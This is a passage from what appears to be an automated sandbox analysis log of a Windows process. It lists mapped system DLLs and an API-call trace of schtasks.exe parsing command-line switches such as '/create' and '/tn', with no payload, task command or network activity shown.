"c:\\windows\\syswow64\\kernel32.dll") Region: id = 1568 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1569 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1570 start_va = 0x7ef50000 end_va = 0x7f04ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ef50000" filename = "" Region: id = 1632 start_va = 0x120000 end_va = 0x1ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1633 start_va = 0x4270000 end_va = 0x4273fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004270000" filename = "" Region: id = 1634 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1635 start_va = 0x1e0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1636 start_va = 0x43a0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 1637 start_va = 0x74820000 end_va = 0x748b1fff monitored = 0 entry_point = 0x74858cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1638 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 1639 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1640 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1641 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1642 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 1643 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1644 start_va = 0x4600000 end_va = 0x463ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 1645 start_va = 0x4640000 end_va = 0x4729fff monitored = 0 entry_point = 0x467d650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1646 start_va = 0x4280000 end_va = 0x4292fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\schtasks.exe.mui") Region: id = 1647 start_va = 0x42a0000 end_va = 0x439ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042a0000" filename = "" Region: id = 1648 start_va = 0x4640000 end_va = 0x4976fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1649 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 1650 start_va = 0x43e0000 end_va = 0x43e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000043e0000" filename = "" Region: id = 1651 start_va = 0x75700000 end_va = 0x75783fff monitored = 0 entry_point = 0x75726220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1652 start_va = 0x43f0000 end_va = 0x43f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000043f0000" filename = "" Region: id = 1653 start_va = 0x6abf0000 end_va = 0x6ac7bfff monitored = 0 entry_point = 0x6ac2a6c0 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\SysWOW64\\taskschd.dll" (normalized: "c:\\windows\\syswow64\\taskschd.dll") Region: id = 1654 start_va = 0x70500000 end_va = 0x7052cfff monitored = 0 entry_point = 0x70512b00 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\SysWOW64\\xmllite.dll" (normalized: "c:\\windows\\syswow64\\xmllite.dll") Thread: id = 148 os_tid = 0x120c [0153.261] GetModuleHandleA (lpModuleName=0x0) returned 0x230000 [0153.261] __set_app_type (_Type=0x1) [0153.261] __p__fmode () returned 0x756f4d6c [0153.261] __p__commode () returned 0x756f5b1c [0153.261] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x250840) returned 0x0 [0153.261] __wgetmainargs (in: _Argc=0x25ade0, _Argv=0x25ade4, _Env=0x25ade8, _DoWildCard=0, _StartInfo=0x25adf4 | out: _Argc=0x25ade0, _Argv=0x25ade4, _Env=0x25ade8) returned 0 [0153.261] _onexit (_Func=0x252bc0) returned 0x252bc0 [0153.262] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0153.262] WinSqmIsOptedIn () returned 0x0 [0153.262] GetProcessHeap () returned 0x42a0000 [0153.262] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42a73e8 [0153.262] RtlRestoreLastWin32Error () returned 0x0 [0153.262] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0153.262] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0153.262] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0153.262] RtlVerifyVersionInfo (VersionInfo=0xcf3f8, TypeMask=0x3, ConditionMask=0x1801b) returned 0x0 [0153.262] GetProcessHeap () returned 0x42a0000 [0153.262] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42a7400 [0153.262] lstrlenW (lpString="") returned 0 [0153.262] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x2) returned 0x42a0598 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a6f18 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42a7418 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a6ce0 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a6d00 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a6d20 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a6910 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42a7550 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a6930 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a6950 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a66a8 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a66c8 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42a74d8 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a66e8 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a2858 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a2878 [0153.263] GetProcessHeap () returned 0x42a0000 [0153.263] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a2898 [0153.264] SetThreadUILanguage (LangId=0x0) returned 0x409 [0153.270] RtlRestoreLastWin32Error () returned 0x0 [0153.270] GetProcessHeap () returned 0x42a0000 [0153.270] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a95b8 [0153.270] GetProcessHeap () returned 0x42a0000 [0153.270] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9518 [0153.270] GetProcessHeap () returned 0x42a0000 [0153.270] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9718 [0153.270] GetProcessHeap () returned 0x42a0000 [0153.270] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9658 [0153.270] GetProcessHeap () returned 0x42a0000 [0153.270] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9798 [0153.270] GetProcessHeap () returned 0x42a0000 [0153.270] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42a7430 [0153.270] _memicmp (_Buf1=0x42a7430, _Buf2=0x232708, _Size=0x7) returned 0 [0153.270] GetProcessHeap () returned 0x42a0000 [0153.270] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x208) returned 0x42a8db0 [0153.270] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x42a8db0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0153.270] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0xcf504 | out: lpdwHandle=0xcf504) returned 0x76c [0153.274] GetProcessHeap () returned 0x42a0000 [0153.274] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x776) returned 0x42aa040 [0153.274] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x42aa040 | out: lpData=0x42aa040) returned 1 [0153.274] VerQueryValueW (in: pBlock=0x42aa040, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xcf50c, puLen=0xcf510 | out: lplpBuffer=0xcf50c*=0x42aa3f0, puLen=0xcf510) returned 1 [0153.276] _memicmp (_Buf1=0x42a7430, _Buf2=0x232708, _Size=0x7) returned 0 [0153.276] _vsnwprintf (in: _Buffer=0x42a8db0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xcf4f0 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0153.277] VerQueryValueW (in: pBlock=0x42aa040, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xcf51c, puLen=0xcf518 | out: lplpBuffer=0xcf51c*=0x42aa220, puLen=0xcf518) returned 1 [0153.277] lstrlenW (lpString="schtasks.exe") returned 12 [0153.277] lstrlenW (lpString="schtasks.exe") returned 12 [0153.277] lstrlenW (lpString=".EXE") returned 4 [0153.277] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0153.277] lstrlenW (lpString="schtasks.exe") returned 12 [0153.277] lstrlenW (lpString=".EXE") returned 4 [0153.277] _memicmp (_Buf1=0x42a7430, _Buf2=0x232708, _Size=0x7) returned 0 [0153.277] lstrlenW (lpString="schtasks") returned 8 [0153.277] GetProcessHeap () returned 0x42a0000 [0153.278] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9538 [0153.278] GetProcessHeap () returned 0x42a0000 [0153.278] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9498 [0153.278] GetProcessHeap () returned 0x42a0000 [0153.278] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a94b8 [0153.278] GetProcessHeap () returned 0x42a0000 [0153.278] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a95d8 [0153.278] GetProcessHeap () returned 0x42a0000 [0153.278] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42a7448 [0153.278] _memicmp (_Buf1=0x42a7448, _Buf2=0x232708, _Size=0x7) returned 0 [0153.278] GetProcessHeap () returned 0x42a0000 [0153.278] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0xa0) returned 0x42a8fc0 [0153.278] GetProcessHeap () returned 0x42a0000 [0153.278] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9758 [0153.278] GetProcessHeap () returned 0x42a0000 [0153.278] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9678 [0153.278] GetProcessHeap () returned 0x42a0000 [0153.278] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a9558 [0153.278] GetProcessHeap () returned 0x42a0000 [0153.278] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42a7568 [0153.278] _memicmp (_Buf1=0x42a7568, _Buf2=0x232708, _Size=0x7) returned 0 [0153.278] GetProcessHeap () returned 0x42a0000 [0153.278] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x200) returned 0x42aa8f0 [0153.278] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x42aa8f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0153.279] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0153.279] GetProcessHeap () returned 0x42a0000 [0153.279] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x30) returned 0x42a2660 [0153.279] _vsnwprintf (in: _Buffer=0x42a8fc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xcf4f4 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0153.279] GetProcessHeap () returned 0x42a0000 [0153.279] GetProcessHeap () returned 0x42a0000 [0153.279] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42aa040) returned 1 [0153.279] GetProcessHeap () returned 0x42a0000 [0153.279] RtlSizeHeap (HeapHandle=0x42a0000, Flags=0x0, MemoryPointer=0x42aa040) returned 0x776 [0153.279] RtlFreeHeap (HeapHandle=0x42a0000, Flags=0x0, BaseAddress=0x42aa040) returned 1 [0153.279] RtlRestoreLastWin32Error () returned 0x0 [0153.279] GetThreadLocale () returned 0x409 [0153.280] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.280] lstrlenW (lpString="?") returned 1 [0153.280] GetThreadLocale () returned 0x409 [0153.280] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.280] lstrlenW (lpString="create") returned 6 [0153.280] GetThreadLocale () returned 0x409 [0153.280] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.280] lstrlenW (lpString="delete") returned 6 [0153.280] GetThreadLocale () returned 0x409 [0153.280] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.280] lstrlenW (lpString="query") returned 5 [0153.280] GetThreadLocale () returned 0x409 [0153.280] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.280] lstrlenW (lpString="change") returned 6 [0153.280] GetThreadLocale () returned 0x409 [0153.280] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.280] lstrlenW (lpString="run") returned 3 [0153.280] GetThreadLocale () returned 0x409 [0153.280] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.280] lstrlenW (lpString="end") returned 3 [0153.280] GetThreadLocale () returned 0x409 [0153.280] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.280] lstrlenW (lpString="showsid") returned 7 [0153.280] GetThreadLocale () returned 0x409 [0153.280] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0153.280] RtlRestoreLastWin32Error () returned 0x0 [0153.280] RtlRestoreLastWin32Error () returned 0x0 [0153.280] lstrlenW (lpString="/create") returned 7 [0153.280] lstrlenW (lpString="-/") returned 2 [0153.280] StrChrIW (lpStart="-/", wMatch=0x463002f) returned="/" [0153.280] lstrlenW (lpString="?") returned 1 [0153.281] lstrlenW (lpString="?") returned 1 [0153.281] GetProcessHeap () returned 0x42a0000 [0153.281] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42a7490 [0153.281] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.281] GetProcessHeap () returned 0x42a0000 [0153.281] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0xa) returned 0x42a74a8 [0153.281] lstrlenW (lpString="create") returned 6 [0153.281] GetProcessHeap () returned 0x42a0000 [0153.281] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x10) returned 0x42a74c0 [0153.281] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.281] GetProcessHeap () returned 0x42a0000 [0153.281] RtlAllocateHeap (HeapHandle=0x42a0000, Flags=0xc, Size=0x14) returned 0x42a94d8 [0153.281] _vsnwprintf (in: _Buffer=0x42a74a8, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|?|") returned 3 [0153.281] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|create|") returned 8 [0153.281] lstrlenW (lpString="|?|") returned 3 [0153.281] lstrlenW (lpString="|create|") returned 8 [0153.281] RtlRestoreLastWin32Error () returned 0x490 [0153.281] lstrlenW (lpString="create") returned 6 [0153.281] lstrlenW (lpString="create") returned 6 [0153.281] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.281] GetProcessHeap () returned 0x42a0000 [0153.281] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a74a8) returned 1 [0153.281] GetProcessHeap () returned 0x42a0000 [0153.281] RtlReAllocateHeap (Heap=0x42a0000, Flags=0xc, Ptr=0x42a74a8, Size=0x14) returned 0x42a9418 [0153.281] lstrlenW (lpString="create") returned 6 [0153.281] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.282] _vsnwprintf (in: _Buffer=0x42a9418, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|create|") returned 8 [0153.282] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|create|") returned 8 [0153.282] lstrlenW (lpString="|create|") returned 8 [0153.282] lstrlenW (lpString="|create|") returned 8 [0153.282] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0153.282] RtlRestoreLastWin32Error () returned 0x0 [0153.282] RtlRestoreLastWin32Error () returned 0x0 [0153.282] RtlRestoreLastWin32Error () returned 0x0 [0153.282] lstrlenW (lpString="/tn") returned 3 [0153.282] lstrlenW (lpString="-/") returned 2 [0153.282] StrChrIW (lpStart="-/", wMatch=0x463002f) returned="/" [0153.282] lstrlenW (lpString="?") returned 1 [0153.282] lstrlenW (lpString="?") returned 1 [0153.282] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.282] lstrlenW (lpString="tn") returned 2 [0153.282] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.282] _vsnwprintf (in: _Buffer=0x42a9418, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|?|") returned 3 [0153.282] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tn|") returned 4 [0153.282] lstrlenW (lpString="|?|") returned 3 [0153.282] lstrlenW (lpString="|tn|") returned 4 [0153.282] RtlRestoreLastWin32Error () returned 0x490 [0153.282] lstrlenW (lpString="create") returned 6 [0153.282] lstrlenW (lpString="create") returned 6 [0153.282] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.282] lstrlenW (lpString="tn") returned 2 [0153.282] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.282] _vsnwprintf (in: _Buffer=0x42a9418, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|create|") returned 8 [0153.283] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tn|") returned 4 [0153.283] lstrlenW (lpString="|create|") returned 8 [0153.283] lstrlenW (lpString="|tn|") returned 4 [0153.283] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0153.283] RtlRestoreLastWin32Error () returned 0x490 [0153.283] lstrlenW (lpString="delete") returned 6 [0153.283] lstrlenW (lpString="delete") returned 6 [0153.283] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.283] lstrlenW (lpString="tn") returned 2 [0153.283] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.283] _vsnwprintf (in: _Buffer=0x42a9418, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|delete|") returned 8 [0153.283] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tn|") returned 4 [0153.283] lstrlenW (lpString="|delete|") returned 8 [0153.283] lstrlenW (lpString="|tn|") returned 4 [0153.283] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0153.283] RtlRestoreLastWin32Error () returned 0x490 [0153.283] lstrlenW (lpString="query") returned 5 [0153.283] lstrlenW (lpString="query") returned 5 [0153.283] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.283] lstrlenW (lpString="tn") returned 2 [0153.283] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.283] _vsnwprintf (in: _Buffer=0x42a9418, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|query|") returned 7 [0153.283] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tn|") returned 4 [0153.283] lstrlenW (lpString="|query|") returned 7 [0153.283] lstrlenW (lpString="|tn|") returned 4 [0153.283] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0153.283] RtlRestoreLastWin32Error () returned 0x490 [0153.284] lstrlenW (lpString="change") returned 6 [0153.284] lstrlenW (lpString="change") returned 6 [0153.284] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.284] lstrlenW (lpString="tn") returned 2 [0153.284] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.284] _vsnwprintf (in: _Buffer=0x42a9418, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|change|") returned 8 [0153.284] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tn|") returned 4 [0153.284] lstrlenW (lpString="|change|") returned 8 [0153.284] lstrlenW (lpString="|tn|") returned 4 [0153.284] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0153.284] RtlRestoreLastWin32Error () returned 0x490 [0153.284] lstrlenW (lpString="run") returned 3 [0153.284] lstrlenW (lpString="run") returned 3 [0153.284] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.284] lstrlenW (lpString="tn") returned 2 [0153.284] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.284] _vsnwprintf (in: _Buffer=0x42a9418, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|run|") returned 5 [0153.284] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tn|") returned 4 [0153.284] lstrlenW (lpString="|run|") returned 5 [0153.284] lstrlenW (lpString="|tn|") returned 4 [0153.284] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0153.284] RtlRestoreLastWin32Error () returned 0x490 [0153.284] lstrlenW (lpString="end") returned 3 [0153.284] lstrlenW (lpString="end") returned 3 [0153.284] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.284] lstrlenW (lpString="tn") returned 2 [0153.285] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.285] _vsnwprintf (in: _Buffer=0x42a9418, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|end|") returned 5 [0153.285] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tn|") returned 4 [0153.285] lstrlenW (lpString="|end|") returned 5 [0153.285] lstrlenW (lpString="|tn|") returned 4 [0153.285] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0153.285] RtlRestoreLastWin32Error () returned 0x490 [0153.285] lstrlenW (lpString="showsid") returned 7 [0153.285] lstrlenW (lpString="showsid") returned 7 [0153.285] _memicmp (_Buf1=0x42a7490, _Buf2=0x232708, _Size=0x7) returned 0 [0153.285] GetProcessHeap () returned 0x42a0000 [0153.285] HeapValidate (hHeap=0x42a0000, dwFlags=0x0, lpMem=0x42a9418) returned 1 [0153.285] GetProcessHeap () returned 0x42a0000 [0153.285] RtlReAllocateHeap (Heap=0x42a0000, Flags=0xc, Ptr=0x42a9418, Size=0x16) returned 0x42a95f8 [0153.285] lstrlenW (lpString="tn") returned 2 [0153.285] _memicmp (_Buf1=0x42a74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0153.285] _vsnwprintf (in: _Buffer=0x42a95f8, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|showsid|") returned 9 [0153.285] _vsnwprintf (in: _Buffer=0x42a94d8, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf4e0 | out: _Buffer="|tn|") returned 4 